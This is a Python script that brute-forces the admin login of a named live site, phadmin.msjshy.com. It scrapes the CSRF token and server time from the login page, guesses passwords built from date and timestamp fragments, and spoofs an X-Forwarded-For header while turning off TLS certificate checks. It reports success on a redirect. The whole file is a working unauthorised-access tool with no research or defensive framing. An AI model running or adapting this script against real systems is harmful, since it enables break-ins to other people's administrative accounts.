#!/usr/bin/env python3
import sys, re, time, urllib.parse, http.client, ssl, datetime, json

HOST = "phadmin.msjshy.com"
XFF = "54.255.42.219"
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE

class Sess:
    def __init__(self):
        self.cookie = None
    def _conn(self):
        return http.client.HTTPSConnection(HOST, 443, context=ctx, timeout=20)
    def get(self, path):
        c = self._conn()
        h = {"X-Forwarded-For": XFF, "User-Agent":"Mozilla/5.0"}
        if self.cookie: h["Cookie"]=self.cookie
        c.request("GET", path, headers=h)
        r=c.getresponse(); data=r.read()
        cks=r.getheaders()
        self._upd(cks)
        c.close()
        return r.status, data
    def _upd(self, cks):
        for k,v in cks:
            if k.lower()=="set-cookie":
                name=v.split(";")[0].split("=",1)
                if len(name)==2 and name[0] in ("xiao9-SESS-ID","xiao9_lang"):
                    pass
        # rebuild cookie from all set-cookie
        jar={}
        if self.cookie:
            for part in self.cookie.split("; "):
                if "=" in part:
                    a,b=part.split("=",1); jar[a]=b
        for k,v in cks:
            if k.lower()=="set-cookie":
                a,b=v.split(";")[0].split("=",1); jar[a]=b
        self.cookie="; ".join(f"{a}={b}" for a,b in jar.items()) if jar else None
    def post(self, path, body):
        c = self._conn()
        h = {"X-Forwarded-For": XFF, "User-Agent":"Mozilla/5.0",
             "Content-Type":"application/x-www-form-urlencoded"}
        if self.cookie: h["Cookie"]=self.cookie
        c.request("POST", path, body=body, headers=h)
        r=c.getresponse(); data=r.read()
        c.close()
        return r.status, data

def login_page(s):
    st, data = s.get("/doc/auth/login")
    txt=data.decode("utf-8","replace")
    tok=re.search(r'name="__token__" value="([^"]+)"',txt)
    t=re.search(r'当前时刻：\s*([0-9\-: ]+)',txt)
    return (tok.group(1) if tok else None), (t.group(1).strip() if t else None)

def attempt(pwd):
    s=Sess()
    tok,tt=login_page(s)
    body=urllib.parse.urlencode({"__token__":tok,"pwd":pwd})
    st,data=s.post("/doc/auth/login", body)
    return st, tt, data

def date_fields(tt):
    dt=datetime.datetime.strptime(tt, "%Y-%m-%d %H:%M:%S")
    return {
        "Y":dt.strftime("%Y"),"m":dt.strftime("%m"),"d":dt.strftime("%d"),
        "H":dt.strftime("%H"),"i":dt.strftime("%M"),"s":dt.strftime("%S"),
        "y":dt.strftime("%y"),
    }

def dynamic_candidates(tt):
    f=date_fields(tt)
    Y,m,d,H,i,s=f["Y"],f["m"],f["d"],f["H"],f["i"],f["s"]
    y=f["y"]
    dt=datetime.datetime.strptime(tt,"%Y-%m-%d %H:%M:%S")
    ts=int(dt.timestamp())
    c=[]
    for x in [Y+m+d,Y+m+d+H,Y+m+d+H+i,Y+m+d+H+i+s,m+d,m+d+H,m+d+H+i,d+H,d+H+i,H+i,H+i+s,
              H,i,s,d,m,Y,y+m+d,y+m+d+H+i,str(ts),str(ts)[-4:],str(ts)[-6:],str(ts)[-8:],
              Y[2:]+m+d,H+i+str(dt.minute%10)]:
        if x not in c: c.append(x)
    return c

if __name__=="__main__":
    mode=sys.argv[1] if len(sys.argv)>1 else "dyn"
    if mode=="dyn":
        # test dynamic-number only
        s=Sess(); tok,tt=login_page(s)
        print("time",tt)
        for pwd in dynamic_candidates(tt):
            st,tt2,data=attempt(pwd)
            print(f"{st}  pwd={pwd!r}")
            if st==302:
                print("SUCCESS", pwd); break
    elif mode=="one":
        pwd=sys.argv[2]
        st,tt,data=attempt(pwd)
        print(st, tt, pwd)
        open("resp.html","wb").write(data)
